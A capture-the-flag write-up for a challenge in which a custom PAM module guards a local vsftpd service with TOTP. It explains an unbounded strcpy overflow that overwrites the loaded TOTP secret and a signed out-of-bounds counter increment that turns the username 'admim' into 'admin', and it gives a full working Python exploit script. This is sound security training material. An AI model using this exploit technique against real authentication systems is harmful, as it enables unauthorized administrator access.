$ cat writeup.md…
$ cat writeup.md…
avitoctf
Task: A localhost vsftpd service authenticates through a custom PAM module using TOTP and per-user counters. Solution: Overwrite the loaded TOTP secret, then use a signed out-of-bounds counter increment to mutate an enrolled username into admin.
Разведка медоедов обнаружила забытый служебный леток в Бюро пропусков. Через него пчёлы до сих пор обмениваются накладными по старому FTP, а после последних набегов прикрутили к шлюзу PAM и одноразовые коды. Каждый вход попадает в журнал посещений. За проходной находится закрытая администраторская сота с маршрутами медовых караванов. Помоги медоеду сойти за пчелу, получить пропуск и пробраться внутрь улья.
Initial SSH access as pamgate opened an interactive player shell inside the challenge container. The objective was to pass the custom PAM authentication used by the local FTP service and reach the administrator-only FTP root. No SSH password is needed by the exploit and none is reproduced here.
The relevant service was vsftpd listening on 127.0.0.1:30029. Its PAM stack loaded the supplied native module pam_pamgate.so. The initial user store contained:
guest:0:NBSWY3DPEHPK3PXQ
Authentication had two modes:
enroll, the module created a record, FTP directory, random Base32 secret, totp.txt, and stats.txt.Names were limited to 1–32 alphanumeric, underscore, or hyphen characters. The exact names admin and guest were reserved. Consequently, path traversal and direct administrator enrollment were unavailable.
The module SHA-256 was 537252fb4211dc37df239139e79e1cac58577d5e88a291d7b49f3e1331b1258c. Important recovered routines included pam_sm_authenticate at offset 0x195e, the TOTP routine at 0x1d40, name validation at 0x1ef9, record lookup at 0x2301, and enrollment at 0x2525.
Each parsed store record had this layout:
struct record { char name[34]; int16_t id; char secret[17]; };
The TOTP implementation was standard HMAC-SHA1 with a 30-second counter, dynamic truncation, and reduction modulo 1,000,000. It accepted only the current time step.
Two memory-safety errors combined into the exploit:
pam_sm_authenticate copied the FTP password with an unbounded strcpy into a 10-byte stack buffer. The parsed record followed it on the stack, with record.secret beginning at password offset 46. Appending the known guest secret at that offset replaced the selected account's secret before the module calculated its expected TOTP.
Thus, a current TOTP generated from NBSWY3DPEHPK3PXQ authenticated any existing record, regardless of that record's randomly generated enrollment secret.
Password bytes 7 and 8 also replaced the record's little-endian signed 16-bit account ID. After a successful TOTP comparison, the module performed the equivalent of:
login_counter[record.id]++;
The allocation was only 256 bytes, but there was no bounds check. A negative ID therefore supplied a one-byte increment primitive before control returned to vsftpd.
PAM's canonical username was held in a nearby heap allocation. Enrolling admim provided a valid store record and a username one increment away from admin. If the OOB target landed on byte 4, the increment changed m (0x6d) to n (0x6e). Authentication had already succeeded as the existing admim record, but vsftpd subsequently consumed the mutated canonical PAM username, selected /srv/ftp/admin, and chrooted there.
The distance between the counter allocation and PAM_USER varied with the runtime heap layout, so a hard-coded index was unreliable. Glibc allocations were 16-byte aligned, and only username byte 4 was useful, reducing the search to indices satisfying (index - 4) % 16 == 0.
For each candidate, the exact password layout was:
current_known_secret_TOTP || "X" || int16le(index) || "A" * 37 || known_secret
Candidates containing NUL, LF, or CR in the packed index were skipped because they would terminate or corrupt the FTP command. After each successful login, SIZE flag.txt acted as an oracle. A 213 reply identified an FTP session chrooted into the administrator directory; the file then had to be retrieved over that same connection.
The following is a faithful standalone version of the exploit used inside the player shell:
#!/usr/bin/env python3 import asyncio import base64 import hashlib import hmac import re import struct import time HOST, PORT = "127.0.0.1", 30029 SECRET = "NBSWY3DPEHPK3PXQ" def make_pass(index): raw = struct.pack("<h", index) if any(c in raw for c in (0, 10, 13)): return None digest = hmac.new( base64.b32decode(SECRET), struct.pack(">Q", int(time.time()) // 30), hashlib.sha1, ).digest() offset = digest[-1] & 0x0f code = (struct.unpack(">I", digest[offset:offset + 4])[0] & 0x7fffffff) % 1_000_000 return f"{code:06d}".encode() + b"X" + raw + b"A" * 37 + SECRET.encode() async def line(reader): return await asyncio.wait_for(reader.readline(), 5) async def probe(index, semaphore): if make_pass(index) is None: return None async with semaphore: writer = None try: reader, writer = await asyncio.wait_for( asyncio.open_connection(HOST, PORT), 5 ) await line(reader) writer.write(b"USER admim\r\n") await writer.drain() await line(reader) # Generate after semaphore acquisition to avoid an expired TOTP. writer.write(b"PASS " + make_pass(index) + b"\r\n") await writer.drain() if not (await line(reader)).startswith(b"230"): return None writer.write(b"SIZE flag.txt\r\n") await writer.drain() if not (await line(reader)).startswith(b"213"): return None writer.write(b"PASV\r\n") await writer.drain() reply = await line(reader) fields = [int(x) for x in re.search(rb"\(([^)]*)\)", reply).group(1).split(b",")] data_reader, data_writer = await asyncio.open_connection( HOST, fields[-2] * 256 + fields[-1] ) writer.write(b"RETR flag.txt\r\n") await writer.drain() await line(reader) result = (await asyncio.wait_for(data_reader.read(), 5)).strip() data_writer.close() await line(reader) return index, result except (OSError, TimeoutError, asyncio.TimeoutError): return None finally: if writer: writer.close() async def main(): # Create the near-collision record; an already-existing record is harmless. reader, writer = await asyncio.open_connection(HOST, PORT) await line(reader) writer.write(b"USER admim\r\n") await writer.drain() await line(reader) writer.write(b"PASS enroll\r\n") await writer.drain() await line(reader) writer.close() semaphore = asyncio.Semaphore(4) candidates = [i for i in range(-8192, -256) if (i - 4) % 16 == 0] results = await asyncio.gather(*(probe(i, semaphore) for i in candidates)) for result in results: if result is not None: index, recovered = result print("winning index:", index) print("retrieved bytes:", recovered) asyncio.run(main())
In the verified run, the winning signed index was -7004, encoded as a4 e4 in little-endian form. The oracle returned a file size of 213 bytes, after which passive-mode RETR flag.txt recovered the flag.
Verified output, with secret material redacted:
ENROLL 230 FOUND [(-7004, 'FLAG:avito{REDACTED}')]
USER admin failed because no administrator record existed in the store.admin could not be created directly.pam_set_item and therefore did not alter PAM's stored username.ptrace_scope=1. PIE, NX, and the absence of an address leak made ROP unnecessarily difficult compared with the data-only primitive.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar